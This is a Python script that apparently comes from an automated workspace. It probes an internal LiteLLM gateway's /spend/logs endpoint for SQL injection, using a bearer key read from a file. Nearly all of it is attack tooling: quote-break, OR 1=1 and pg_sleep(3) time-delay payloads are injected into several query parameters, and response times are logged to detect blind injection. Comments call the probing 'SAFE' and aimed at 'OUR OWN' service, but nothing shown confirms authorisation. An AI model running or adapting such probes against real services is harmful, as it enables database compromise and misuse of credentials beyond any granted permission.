#!/usr/bin/env python3
# Read-only SAFE timing comparison for OUR OWN litellm /spend/logs parameter handling.
# Records ONLY HTTP status + elapsed time (no bodies, no file reads, key in header only).
import time, urllib.request, urllib.error, urllib.parse
OUT = open("/opt/data/workspace/i26107/spend_timing.out", "w")
def log(s):
    OUT.write(s + "\n"); OUT.flush()
def probe(tag, url, headers=None, timeout=20):
    h = {"User-Agent": "timing/1.0", "Accept": "*/*"}
    if headers: h.update(headers)
    r = urllib.request.Request(url, headers=h, method="GET")
    t0 = time.time()
    try:
        with urllib.request.urlopen(r, timeout=timeout) as resp:
            sc = resp.status
    except urllib.error.HTTPError as e:
        sc = e.code
    except Exception:
        sc = "ERR"
    return sc, time.time() - t0
lk = open("/opt/data/workspace/i26107/lk.txt").read().strip()
LG = "http://litellm-gateway.agentek.svc.cluster.local:4000"
HL = {"Authorization": "Bearer " + lk}
q = urllib.parse.quote
cases = [
    ("noparam", "/spend/logs"),
    ("api_key=nonexist", "/spend/logs?api_key=nonexistent_xyz_123"),
    ("api_key=quote", "/spend/logs?api_key=" + q("'")),
    ("api_key=or1=1", "/spend/logs?api_key=" + q("' OR '1'='1")),
    ("api_key=or1=1--", "/spend/logs?api_key=" + q("' OR 1=1--")),
    ("api_key=sleep3", "/spend/logs?api_key=" + q("';SELECT pg_sleep(3)--")),
    ("user_id=sleep3", "/spend/logs?user_id=" + q("';SELECT pg_sleep(3)--")),
    ("request_id=or", "/spend/logs?request_id=" + q("' OR 1=1--")),
    ("date=sleep3", "/spend/logs?start_date=" + q("2026-01-01';SELECT pg_sleep(3)--")),
]
log("== litellm /spend/logs timing (status+time only, 2 runs each) ==")
for tag, p in cases:
    best = []
    for i in range(2):
        sc, dt = probe(tag, LG + p, HL)
        best.append((sc, dt))
    s = "  ".join("status=%s t=%.2fs" % (a, b) for a, b in best)
    log("%-20s %s" % (tag, s))
log("DONE")
OUT.close()
